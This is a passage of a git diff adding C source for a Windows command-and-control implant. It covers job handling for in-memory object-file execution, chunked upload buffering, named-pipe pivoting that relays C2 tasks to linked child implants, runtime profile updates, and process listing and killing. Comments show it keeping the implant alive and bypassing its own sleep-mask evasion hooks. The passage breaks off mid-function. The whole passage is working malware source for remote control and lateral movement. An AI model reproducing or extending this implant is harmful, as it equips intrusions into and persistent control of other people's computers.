timeout=%ums", job->TaskId, job->TimeoutMs ); + return NAX_OK; +} + +/* ========= [ kill ] ========= */ + +FUNC INT NaxJobKill( PNAX_INSTANCE Nax, UINT32 taskId ) { + NAX_JOB* job = Nax->JobHead; + while ( job ) { + if ( job->TaskId == taskId && ( job->State == NAX_JOB_RUNNING || job->State == NAX_JOB_PENDING ) ) + break; + job = job->Next; + } + if ( !job ) return NAX_ERR_INVAL; + + Nax->Kernel32.SetEvent( job->hStopEvent ); + + if ( job->hThread ) { + DWORD w = Nax->Kernel32.WaitForSingleObject( job->hThread, JOB_GRACE_PERIOD_MS ); + if ( w != WAIT_OBJECT_0 ) { + /* Thread is stuck. TerminateThread on a pool worker corrupts ntdll's + * thread pool and crashes the process - abandon the thread instead. + * The leaked resources are a few KB; a dead beacon is worse. */ + job->Abandoned = TRUE; + + /* Nax->BofCtx may still point to the job's buffer (swap-back never ran). + * Snapshot partial output and restore the main-thread context. */ + if ( Nax->BofCtx.Buf == job->BofCtx.Buf ) { + job->BofCtx.Len = Nax->BofCtx.Len; + job->BofCtx.MediaHead = Nax->BofCtx.MediaHead; + } + Nax->BofCtx = job->SavedBofCtx; + Nax->CurrentJob = NULL; + + NaxDbg( Nax, "[job] abandoned taskId=0x%08x (thread still alive)", taskId ); + } + } + + job->State = NAX_JOB_KILLED; + Nax->Kernel32.SetEvent( Nax->JobWakeEvent ); + return NAX_OK; +} + +/* ========= [ process - heartbeat drain ] ========= */ + +FUNC UINT32 NaxProcessJobs( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) { + UINT32 written = 0; + NAX_JOB** pp = &Nax->JobHead; + + Nax->Kernel32.ResetEvent( Nax->JobWakeEvent ); + + while ( *pp ) { + NAX_JOB* job = *pp; + + /* ---- watchdog check ---- */ + if ( job->State == NAX_JOB_RUNNING ) { + UINT64 elapsed = Nax->Kernel32.GetTickCount64() - job->StartTick; + if ( elapsed > (UINT64)job->TimeoutMs ) { + NaxDbg( Nax, "[job] watchdog timeout taskId=0x%08x (%ums)", job->TaskId, (UINT32)elapsed ); + NaxJobKill( Nax, job->TaskId ); + } + } + + /* ---- drain output ---- */ + if ( job->State == NAX_JOB_RUNNING ) { + if ( Nax->Ntdll.RtlTryEnterCriticalSection( &job->Lock ) ) { + if ( job->BofCtx.Len > 0 || job->BofCtx.MediaHead ) { + UINT32 hdr_off = written; + UINT32 data_off = written + 9; + if ( data_off < out_cap ) { + UINT32 data_len = JobPackOutput( Nax, &job->BofCtx, out + data_off, out_cap - data_off, FALSE ); + if ( data_len > 0 ) { + out[ hdr_off ] = NAX_JOB_OUTPUT; + NaxW32( out + hdr_off + 1, job->TaskId ); + NaxW32( out + hdr_off + 5, data_len ); + written += 9 + data_len; + } + } + } + Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock ); + } + pp = &job->Next; + continue; + } + + /* ---- finished or killed - final drain + cleanup ---- */ + BYTE jobType = ( job->State == NAX_JOB_KILLED ) ? NAX_JOB_KILLED : NAX_JOB_COMPLETE; + + Nax->Ntdll.RtlEnterCriticalSection( &job->Lock ); + UINT32 hdr_off = written; + UINT32 data_off = written + 9; + UINT32 data_len = 0; + if ( data_off < out_cap ) + data_len = JobPackOutput( Nax, &job->BofCtx, out + data_off, out_cap - data_off, TRUE ); + Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock ); + + out[ hdr_off ] = jobType; + NaxW32( out + hdr_off + 1, job->TaskId ); + NaxW32( out + hdr_off + 5, data_len ); + written += 9 + data_len; + + /* unlink */ + *pp = job->Next; + + if ( job->Abandoned ) { + /* thread may still be alive - intentionally leak all resources */ + NaxDbg( Nax, "[job] leaked abandoned taskId=0x%08x", job->TaskId ); + } else { + if ( job->BofCtx.Buf ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->BofCtx.Buf ); + JobFreeMedia( Nax, job->BofCtx.MediaHead ); + if ( job->CoffCopy ) { + MmZero( job->CoffCopy, job->CoffSize ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy ); + } + if ( job->ArgsCopy ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy ); + if ( job->hThread ) Nax->Kernel32.CloseHandle( job->hThread ); + if ( job->hStopEvent ) Nax->Ntdll.NtClose( job->hStopEvent ); + Nax->Ntdll.RtlDeleteCriticalSection( &job->Lock ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job ); + } + } + + return written; +} + +/* ========= [ list ] ========= */ + +FUNC INT NaxJobList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + UINT32 count = 0; + PBYTE p = out + 4; + UINT32 cap = *out_len - 4; + + NAX_JOB* job = Nax->JobHead; + while ( job && count * 9 < cap ) { + NaxW32( p, job->TaskId ); p += 4; + *p++ = (BYTE)job->State; + UINT32 elapsed = (UINT32)( ( Nax->Kernel32.GetTickCount64() - job->StartTick ) / 1000u ); + NaxW32( p, elapsed ); p += 4; + count++; + job = job->Next; + } + + NaxW32( out, count ); + *out_len = 4 + count * 9; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/MemSave.c b/src_beacon/src/Commands/MemSave.c new file mode 100644 index 0000000..46c193a --- /dev/null +++ b/src_beacon/src/Commands/MemSave.c @@ -0,0 +1,86 @@ +/* beacon/src/Commands/MemSave.c + * CMD_SAVEMEMORY (0x2A) - accumulate upload data chunks in memory. + * + * Task args wire format: + * memoryId(4LE) + totalSize(4LE) + chunkSize(4LE) + chunk_data + * + * First chunk allocates the buffer; subsequent chunks append. + * CMD_UPLOAD later retrieves the accumulated buffer by memoryId. + * + * Result: zero-length, status=OK (silent - no console output). */ + +#include "Nax.h" + +FUNC INT NaxCmdSaveMemory( PNAX_INSTANCE Nax, + const PBYTE args, + UINT32 args_len, + PBYTE out, + UINT32* out_len ) { + if ( !args || args_len < 12 ) return NAX_ERR_INVAL; + + UINT32 memoryId = NaxR32( args ); + UINT32 totalSize = NaxR32( args + 4 ); + UINT32 chunkSize = NaxR32( args + 8 ); + if ( 12 + chunkSize > args_len ) return NAX_ERR_INVAL; + PBYTE chunkData = (PBYTE)args + 12; + + /* Find or create MemSave node */ + NAX_MEMSAVE* ms = Nax->MemSaveHead; + while ( ms ) { + if ( ms->MemoryId == memoryId ) break; + ms = ms->Next; + } + + if ( !ms ) { + ms = (NAX_MEMSAVE*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_MEMSAVE ) ); + if ( !ms ) return NAX_ERR_NOMEM; + ms->Buffer = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, totalSize ); + if ( !ms->Buffer ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms ); + return NAX_ERR_NOMEM; + } + ms->MemoryId = memoryId; + ms->TotalSize = totalSize; + ms->CurrentSize = 0; + ms->Next = Nax->MemSaveHead; + Nax->MemSaveHead = ms; + } + + /* Append chunk data */ + UINT32 space = ms->TotalSize - ms->CurrentSize; + UINT32 copy_len = ( chunkSize <= space ) ? chunkSize : space; + if ( copy_len > 0 ) { + MmCopy( ms->Buffer + ms->CurrentSize, chunkData, copy_len ); + ms->CurrentSize += copy_len; + } + + *out_len = 0; + return NAX_OK; +} + +/* Retrieve accumulated buffer by memoryId. Returns NULL if not found. */ +FUNC NAX_MEMSAVE* NaxMemSaveGet( PNAX_INSTANCE Nax, UINT32 memoryId ) { + NAX_MEMSAVE* ms = Nax->MemSaveHead; + while ( ms ) { + if ( ms->MemoryId == memoryId ) return ms; + ms = ms->Next; + } + return NULL; +} + +/* Free a MemSave node and unlink it from the list. */ +FUNC VOID NaxMemSaveFree( PNAX_INSTANCE Nax, UINT32 memoryId ) { + NAX_MEMSAVE** prev = &Nax->MemSaveHead; + NAX_MEMSAVE* ms = Nax->MemSaveHead; + while ( ms ) { + if ( ms->MemoryId == memoryId ) { + *prev = ms->Next; + if ( ms->Buffer ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms->Buffer ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms ); + return; + } + prev = &ms->Next; + ms = ms->Next; + } +} diff --git a/src_beacon/src/Commands/Pivot.c b/src_beacon/src/Commands/Pivot.c new file mode 100644 index 0000000..2bf62b6 --- /dev/null +++ b/src_beacon/src/Commands/Pivot.c @@ -0,0 +1,343 @@ +/* beacon/src/Commands/Pivot.c + * Parent-side pivot manager: link/unlink/pivot_exec + ProcessPivots. + * + * NAX_CMD_LINK - connect to child's named pipe, read beat, store pivot + * NAX_CMD_UNLINK - disconnect a linked child + * NAX_CMD_PIVOT_EXEC- write data to child's pipe (tasks from C2) + * NaxProcessPivots - poll all pivot read events, collect child responses */ + +#include "Nax.h" +#include "Pivot.h" +#include "Transport.h" +#include "Pipe.h" + +/* ========= [ post async header read ] ========= */ + +FUNC VOID NaxPostPivotHeaderRead( PNAX_INSTANCE Nax, NAX_PIVOT* p ) { + if ( p->Async->RdPending ) + return; + p->Async->RdHeader = 0; + Nax->Kernel32.ResetEvent( p->Async->OvRead.hEvent ); + DWORD nRead = 0; + BOOL ok = Nax->Kernel32.ReadFile( p->hPipe, &p->Async->RdHeader, 4, &nRead, &p->Async->OvRead ); + if ( ok ) { + Nax->Kernel32.SetEvent( p->Async->OvRead.hEvent ); + p->Async->RdPending = TRUE; + } else if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING ) { + p->Async->RdPending = TRUE; + } +} + +/* ========= [ CMD_LINK ] ========= */ + +FUNC INT CmdLink( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 6 ) + return NAX_ERR_INVAL; + + BYTE linkType = args[0]; + UINT32 nameLen = *(UINT32*)( args + 1 ); + if ( 5 + nameLen > args_len || nameLen > 512 ) + return NAX_ERR_INVAL; + + CHAR pipePath[520]; + MmZero( pipePath, 520 ); + MmCopy( pipePath, args + 5, nameLen ); + + /* connect to child's pipe */ + HANDLE hPipe = Nax->Kernel32.CreateFileA( pipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); + if ( hPipe == INVALID_HANDLE_VALUE ) { + *(UINT32*)out = Nax->Kernel32.GetLastError(); + *out_len = 4; + return NAX_ERR_NET; + } + + /* set message mode */ + DWORD dwMode = PIPE_READMODE_MESSAGE; + Nax->Kernel32.SetNamedPipeHandleState( hPipe, &dwMode, NULL, NULL ); + + /* read beat from child: [4-byte len][beat data] */ + HANDLE hTempEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + if ( ! hTempEvent ) { + Nax->Kernel32.CloseHandle( hPipe ); + return NAX_ERR_NOMEM; + } + + UINT32 beatLen = 0; + if ( ! NaxPipeRead( Nax, hPipe, hTempEvent, (PBYTE)&beatLen, 4 ) || beatLen == 0 || beatLen > 0x100000 ) { + Nax->Ntdll.NtClose( hTempEvent ); + Nax->Kernel32.CloseHandle( hPipe ); + return NAX_ERR_NET; + } + + PBYTE beatBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, beatLen ); + if ( ! beatBuf ) { + Nax->Ntdll.NtClose( hTempEvent ); + Nax->Kernel32.CloseHandle( hPipe ); + return NAX_ERR_NOMEM; + } + + if ( ! NaxPipeRead( Nax, hPipe, hTempEvent, beatBuf, beatLen ) ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + Nax->Ntdll.NtClose( hTempEvent ); + Nax->Kernel32.CloseHandle( hPipe ); + return NAX_ERR_NET; + } + Nax->Ntdll.NtClose( hTempEvent ); + + /* allocate async I/O state */ + NAX_PIVOT_ASYNC* async = (NAX_PIVOT_ASYNC*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_PIVOT_ASYNC ) ); + if ( ! async ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + Nax->Kernel32.CloseHandle( hPipe ); + return NAX_ERR_NOMEM; + } + MmZero( async, sizeof( NAX_PIVOT_ASYNC ) ); + async->OvRead.hEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + async->hWriteEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + + /* allocate pivot entry */ + NAX_PIVOT* pivot = (NAX_PIVOT*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_PIVOT ) ); + if ( ! pivot ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, async ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + Nax->Kernel32.CloseHandle( hPipe ); + return NAX_ERR_NOMEM; + } + MmZero( pivot, sizeof( NAX_PIVOT ) ); + pivot->hPipe = hPipe; + pivot->Async = async; + pivot->Id = taskId; + pivot->Next = Nax->PivotHead; + Nax->PivotHead = pivot; + + /* arm the first async header read */ + NaxPostPivotHeaderRead( Nax, pivot ); + + /* result: linkType(1) | watermark(4LE) | sessionId(16) | encrypted_data */ + if ( beatLen < 4 ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + return NAX_ERR_INVAL; + } + UINT32 resultLen = 1 + beatLen; + if ( resultLen > *out_len ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + return NAX_ERR_NOMEM; + } + out[0] = linkType; + MmCopy( out + 1, beatBuf, beatLen ); + *out_len = resultLen; + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf ); + return NAX_OK; +} + +/* ========= [ CMD_UNLINK ] ========= */ + +FUNC INT CmdUnlink( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 4 ) + return NAX_ERR_INVAL; + + UINT32 pivotId = *(UINT32*)args; + BYTE result = 0; + + NAX_PIVOT** pp = &Nax->PivotHead; + while ( *pp ) { + NAX_PIVOT* p = *pp; + if ( p->Id == pivotId ) { + if ( p->Async->RdPending ) + Nax->Kernel32.CancelIo( p->hPipe ); + Nax->Kernel32.FlushFileBuffers( p->hPipe ); + Nax->Kernel32.DisconnectNamedPipe( p->hPipe ); + Nax->Kernel32.CloseHandle( p->hPipe ); + if ( p->Async->OvRead.hEvent ) + Nax->Ntdll.NtClose( p->Async->OvRead.hEvent ); + if ( p->Async->hWriteEvent ) + Nax->Ntdll.NtClose( p->Async->hWriteEvent ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p->Async ); + *pp = p->Next; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p ); + result = 1; /* SMB type */ + break; + } + pp = &p->Next; + } + + /* result: pivot_id(4LE) | pivot_type(1) */ + *(UINT32*)out = pivotId; + out[4] = result; + *out_len = 5; + return NAX_OK; +} + +/* ========= [ CMD_PIVOT_EXEC ] ========= */ + +FUNC INT CmdPivotExec( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 8 ) + return NAX_ERR_INVAL; + + UINT32 pivotId = *(UINT32*)( args ); + UINT32 dataLen = *(UINT32*)( args + 4 ); + if ( 8 + dataLen > args_len ) + return NAX_ERR_INVAL; + + /* server sends empty pivot data when child has no tasks - skip the write + * so we don't push a 0-length header that kills the child's pipe loop */ + if ( dataLen == 0 ) { + *out_len = 0; + return NAX_OK; + } + + PBYTE data = (PBYTE)( args + 8 ); + + NAX_PIVOT* p = Nax->PivotHead; + while ( p ) { + if ( p->Id == pivotId ) { + NaxPipeWrite( Nax, p->hPipe, p->Async->hWriteEvent, data, dataLen ); + p->Async->DataSent = TRUE; + break; + } + p = p->Next; + } + + *out_len = 0; + return NAX_OK; +} + +/* ========= [ ProcessPivots - collect child responses ] ========= */ + +/* Output format: concatenated entries, each: entry_len(4LE) | type(1) | body + * type 0 = pivot data: pivot_id(4) | data_len(4) | data + * type 1 = auto-unlink: pivot_id(4) | disconnect_type(1) + * Caller iterates entries and sends each as a separate result POST. */ + +FUNC UINT32 NaxProcessPivots( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) { + UINT32 written = 0; + NAX_PIVOT** pp = &Nax->PivotHead; + + /* Bypass BeaconGate for pivot waits - the gated WaitForSingleObject + * routes through sleep_mask. Pivot waits are short synchronous polls + * for child pipe data, not beacon sleep - they must not route through + * the sleepmask. */ + typedef DWORD (WINAPI *FN_WFSO)( HANDLE, DWORD ); + FN_WFSO realWfso = (FN_WFSO)Nax->Kernel32.WaitForSingleObject; + for ( UINT32 i = 0; i < Nax->GateSwaps.Count; i++ ) { + if ( Nax->GateSwaps.Entries[i].Slot == (PVOID*)&Nax->Kernel32.WaitForSingleObject ) { + realWfso = (FN_WFSO)Nax->GateSwaps.Entries[i].Original; + break; + } + } + + while ( *pp ) { + NAX_PIVOT* p = *pp; + BOOL broken = FALSE; + + NaxPostPivotHeaderRead( Nax, p ); + if ( ! p->Async->RdPending ) { + broken = TRUE; + goto _cleanup; + } + + /* Wait synchronously so child responses are collected in the + * same relay cycle before the output goes out. 2 s covers slow + * BOFs (whoami enumerating groups/privileges via LookupAccountSid) + * and multi-hop SMB chains where the intermediary must wait for + * grandchildren before relaying results to the parent. */ + DWORD waitMs = 0; + UINT64 deadline = 0; + if ( p->Async->DataSent ) { + waitMs = 2000; + deadline = Nax->Kernel32.GetTickCount64() + 2000; + NaxDbg( Nax, "[pivot] DataSent=1 for pivot %08x, waitMs=%u", p->Id, waitMs ); + } + p->Async->DataSent = FALSE; + + /* collect available messages */ + UINT32 msgCount = 0; + while ( 1 ) { + DWORD w = realWfso( p->Async->OvRead.hEvent, waitMs ); + if ( w == WAIT_TIMEOUT ) { + NaxDbg( Nax, "[pivot] wait timeout after %u msgs (waitMs=%u)", msgCount, waitMs ); + break; + } + if ( w != WAIT_OBJECT_0 ) { broken = TRUE; break; } + + DWORD nRead = 0; + if ( ! Nax->Kernel32.GetOverlappedResult( p->hPipe, &p->Async->OvRead, &nRead, FALSE ) ) { + if ( Nax->Kernel32.GetLastError() == ERROR_IO_INCOMPLETE ) + break; + broken = TRUE; + break; + } + p->Async->RdPending = FALSE; + UINT32 msgLen = p->Async->RdHeader; + if ( msgLen == 0 || msgLen > 0x1000000 ) { broken = TRUE; break; } + + /* read message body */ + PBYTE msgBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, msgLen ); + if ( ! msgBuf ) { broken = TRUE; break; } + + HANDLE hEvt = p->Async->OvRead.hEvent; + if ( ! NaxPipeRead( Nax, p->hPipe, hEvt, msgBuf, msgLen ) ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, msgBuf ); + broken = TRUE; + break; + } + msgCount++; + NaxDbg( Nax, "[pivot] read msg #%u from pivot %08x (%u bytes)", msgCount, p->Id, msgLen ); + + /* entry: entry_len(4) | type(1)=DATA | pivot_id(4) | data_len(4) | data */ + UINT32 entryBody = 1 + 4 + 4 + msgLen; + if ( written + 4 + entryBody <= out_cap ) { + PBYTE cur = out + written; + *(UINT32*)cur = entryBody; + cur[4] = NAX_PIV_TYPE_DATA; + *(UINT32*)( cur + 5 ) = p->Id; + *(UINT32*)( cur + 9 ) = msgLen; + MmCopy( cur + 13, msgBuf, msgLen ); + written += 4 + entryBody; + } + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, msgBuf ); + + /* Recompute wait from remaining budget so stale heartbeats + * in the pipe don't starve deeper relay chains. */ + if ( deadline ) { + UINT64 now = Nax->Kernel32.GetTickCount64(); + waitMs = ( now >= deadline ) ? 0 : (DWORD)( deadline - now ); + } + if ( waitMs > 100 ) + waitMs = 100; + + /* arm next header read */ + NaxPostPivotHeaderRead( Nax, p ); + if ( ! p->Async->RdPending ) break; + } + + _cleanup: + if ( broken ) { + Nax->Kernel32.CancelIo( p->hPipe ); + Nax->Kernel32.CloseHandle( p->hPipe ); + if ( p->Async->OvRead.hEvent ) + Nax->Ntdll.NtClose( p->Async->OvRead.hEvent ); + if ( p->Async->hWriteEvent ) + Nax->Ntdll.NtClose( p->Async->hWriteEvent ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p->Async ); + + /* entry: entry_len(4) | type(1)=UNLINK | pivot_id(4) | disconnect_type(1) */ + UINT32 entryBody = 1 + 4 + 1; + if ( written + 4 + entryBody <= out_cap ) { + PBYTE cur = out + written; + *(UINT32*)cur = entryBody; + cur[4] = NAX_PIV_TYPE_UNLINK; + *(UINT32*)( cur + 5 ) = p->Id; + cur[9] = 10; /* PIVOT_TYPE_DISCONNECT */ + written += 4 + entryBody; + } + + *pp = p->Next; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p ); + } else { + pp = &p->Next; + } + } + return written; +} diff --git a/src_beacon/src/Commands/Profile.c b/src_beacon/src/Commands/Profile.c new file mode 100644 index 0000000..aa254d1 --- /dev/null +++ b/src_beacon/src/Commands/Profile.c @@ -0,0 +1,22 @@ +/* beacon/src/Commands/Profile.c + * CMD_PROFILE (0x30) - apply a v2 profile update at runtime. */ + +#include "Nax.h" + +FUNC INT CmdProfile( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 4 ) { + out[0] = NAX_STATUS_ERR; + *out_len = 1; + return NAX_OK; + } + + INT rc = NaxApplyProfile( Nax, args, args_len ); + if ( rc == NAX_OK ) { + out[0] = NAX_STATUS_OK; + *out_len = 1; + } else { + out[0] = NAX_STATUS_ERR; + *out_len = 1; + } + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Ps.c b/src_beacon/src/Commands/Ps.c new file mode 100644 index 0000000..173bd47 --- /dev/null +++ b/src_beacon/src/Commands/Ps.c @@ -0,0 +1,316 @@ +#include "Nax.h" +#include "Common.h" + +/* ========= [ TokenToUser - resolve SID to domain\username + elevation ] ========= */ + +static BOOL NaxTokenToUser( PNAX_INSTANCE Nax, HANDLE hToken, PCHAR username, DWORD* usernameSize, PCHAR domain, DWORD* domainSize, BOOL* elevated ) { + if ( !hToken || !Nax->Advapi32.GetTokenInformation || !Nax->Advapi32.LookupAccountSidA ) + return FALSE; + + BOOL result = FALSE; + DWORD tokenInfoSize = 0; + + Nax->Advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &tokenInfoSize ); + if ( tokenInfoSize == 0 ) return FALSE; + + PVOID tokenInfo = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize ); + if ( !tokenInfo ) return FALSE; + + if ( Nax->Advapi32.GetTokenInformation( hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize ) ) { + SID_NAME_USE sidType; + result = Nax->Advapi32.LookupAccountSidA( NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, username, usernameSize, domain, domainSize, &sidType ); + } + + struct { DWORD TokenIsElevated; } elev; + DWORD elevSize = sizeof( elev ); + if ( Nax->Advapi32.GetTokenInformation( hToken, (TOKEN_INFORMATION_CLASS)20, &elev, sizeof( elev ), &elevSize ) ) + *elevated = elev.TokenIsElevated ? TRUE : FALSE; + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, tokenInfo ); + return result; +} + +/* ========= [ CMD_PS_LIST (0x23) ] ========= */ + +/* Wire format (success): + * result(1)=1 + count(4LE) + count × [pid(2LE) + ppid(2LE) + session(2LE) + arch64(1) + elevated(1) + domain_len(2LE)+domain + username_len(2LE)+username + procname_len(2LE)+procname] + * Wire format (failure): + * result(1)=0 + error_code(4LE) */ + +FUNC INT CmdPsList( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + (void)args; (void)args_len; + if ( *out_len < 5 ) return NAX_ERR_NOMEM; + + ULONG spiSize = 0; + NTSTATUS status = Nax->Ntdll.NtQuerySystemInformation( SystemProcessInformation, NULL, 0, &spiSize ); + if ( status != STATUS_INFO_LENGTH_MISMATCH ) { + out[0] = 0; + out[1] = NAX_ERROR_INVALID_PARAMETER; out[2] = 0; out[3] = 0; out[4] = 0; + *out_len = 5; + return NAX_OK; + } + + spiSize += NAX_SYSINFO_EXTRA_BUF; + PSYSTEM_PROCESS_INFORMATION spi = (PSYSTEM_PROCESS_INFORMATION)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, spiSize ); + if ( !spi ) return NAX_ERR_NOMEM; + + status = Nax->Ntdll.NtQuerySystemInformation( SystemProcessInformation, spi, spiSize, &spiSize ); + if ( !NT_SUCCESS( status ) ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, spi ); + out[0] = 0; + out[1] = NAX_ERROR_INVALID_PARAMETER; out[2] = 0; out[3] = 0; out[4] = 0; + *out_len = 5; + return NAX_OK; + } + + PSYSTEM_PROCESS_INFORMATION spiStart = spi; + DWORD accessMask = PROCESS_QUERY_LIMITED_INFORMATION; + UINT32 cap = *out_len; + + out[0] = 1; + PBYTE countPos = out + 1; + UINT32 pos = 5; + UINT32 count = 0; + + do { + if ( !spi->ImageName.Buffer ) goto next_entry; + + BOOL elevated = FALSE; + BYTE arch64 = NAX_ARCH_UNKNOWN; + CHAR procName[260]; + DWORD usernameLen = MAX_PATH; + CHAR username[MAX_PATH]; + DWORD domSize = MAX_PATH; + CHAR domain[MAX_PATH]; + MmZero( procName, 260 ); + MmZero( username, MAX_PATH ); + MmZero( domain, MAX_PATH ); + + OBJECT_ATTRIBUTES objAttr; + MmZero( &objAttr, sizeof( objAttr ) ); + objAttr.Length = sizeof( OBJECT_ATTRIBUTES ); + + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + CLIENT_ID clientId; + MmZero( &clientId, sizeof( clientId ) ); + clientId.UniqueProcess = spi->UniqueProcessId; + + NTSTATUS ns = Nax->Ntdll.NtOpenProcess( &hProcess, accessMask, &objAttr, &clientId ); + if ( NT_SUCCESS( ns ) ) { + ULONG_PTR piWow64 = 0; + ns = Nax->Ntdll.NtQueryInformationProcess( hProcess, ProcessWow64Information, &piWow64, sizeof( ULONG_PTR ), NULL ); + if ( NT_SUCCESS( ns ) ) + arch64 = ( piWow64 == 0 ) ? 1 : 0; + + ns = Nax->Ntdll.NtOpenProcessToken( hProcess, NAX_TOKEN_QUERY, &hToken ); + if ( NT_SUCCESS( ns ) ) + NaxTokenToUser( Nax, hToken, username, &usernameLen, domain, &domSize, &elevated ); + } + + /* Convert process name from wide to narrow */ + UINT32 imgChars = spi->ImageName.Length / 2; + if ( imgChars > 259 ) imgChars = 259; + Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, spi->ImageName.Buffer, (INT)imgChars, procName, 259, NULL, NULL ); + + /* Measure string lengths */ + UINT32 pnLen = 0; while ( procName[pnLen] ) pnLen++; + UINT32 unLen = 0; while ( username[unLen] ) unLen++; + UINT32 dmLen = 0; while ( domain[dmLen] ) dmLen++; + + /* per-entry size: pid(2) + ppid(2) + session(2) + arch64(1) + elevated(1) + domain(2+n) + username(2+n) + procname(2+n) */ + UINT32 entrySize = 2 + 2 + 2 + 1 + 1 + 2 + dmLen + 2 + unLen + 2 + pnLen; + if ( pos + entrySize > cap ) goto cleanup; + + PBYTE p = out + pos; + NaxW16( p, (UINT16)(UINT_PTR)spi->UniqueProcessId ); p += 2; + NaxW16( p, (UINT16)(UINT_PTR)spi->InheritedFromUniqueProcessId ); p += 2; + NaxW16( p, (UINT16)spi->SessionId ); p += 2; + *p++ = arch64; + *p++ = elevated ? 1 : 0; + NaxW16( p, (UINT16)dmLen ); p += 2; + if ( dmLen > 0 ) { MmCopy( p, domain, dmLen ); p += dmLen; } + NaxW16( p, (UINT16)unLen ); p += 2; + if ( unLen > 0 ) { MmCopy( p, username, unLen ); p += unLen; } + NaxW16( p, (UINT16)pnLen ); p += 2; + if ( pnLen > 0 ) { MmCopy( p, procName, pnLen ); p += pnLen; } + + pos += entrySize; + count++; + + if ( hProcess ) Nax->Ntdll.NtClose( hProcess ); + if ( hToken ) Nax->Ntdll.NtClose( hToken ); + goto next_entry; + + cleanup: + if ( hProcess ) Nax->Ntdll.NtClose( hProcess ); + if ( hToken ) Nax->Ntdll.NtClose( hToken ); + break; + + next_entry: + if ( !spi->NextEntryOffset ) break; + spi = (PSYSTEM_PROCESS_INFORMATION)( (PBYTE)spi + spi->NextEntryOffset ); + } while ( 1 ); + + /* Write count into the reserved slot */ + countPos[0] = (BYTE)( count & 0xFF ); + countPos[1] = (BYTE)( ( count >> 8 ) & 0xFF ); + countPos[2] = (BYTE)( ( count >> 16 ) & 0xFF ); + countPos[3] = (BYTE)( ( count >> 24 ) & 0xFF ); + + *out_len = pos; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, spiStart ); + return NAX_OK; +} + +/* ========= [ CMD_PS_KILL (0x24) ] ========= */ + +/* args: pid(4LE) + * result (success): pid(4LE) + * result (failure): Win32 error via NaxWriteWin32Err */ + +FUNC INT CmdPsKill( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 4 || *out_len < 4 ) return NAX_ERR_INVAL; + + UINT32 pid = (UINT32)args[0] | ( (UINT32)args[1] << 8 ) | ( (UINT32)args[2] << 16 ) | ( (UINT32)args[3] << 24 ); + + OBJECT_ATTRIBUTES objAttr; + MmZero( &objAttr, sizeof( objAttr ) ); + objAttr.Length = sizeof( OBJECT_ATTRIBUTES ); + + CLIENT_ID clientId; + MmZero( &clientId, sizeof( clientId ) ); + clientId.UniqueProcess = (HANDLE)(UINT_PTR)pid; + + HANDLE hProcess = NULL; + NTSTATUS status = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_TERMINATE, &objAttr, &clientId ); + if ( 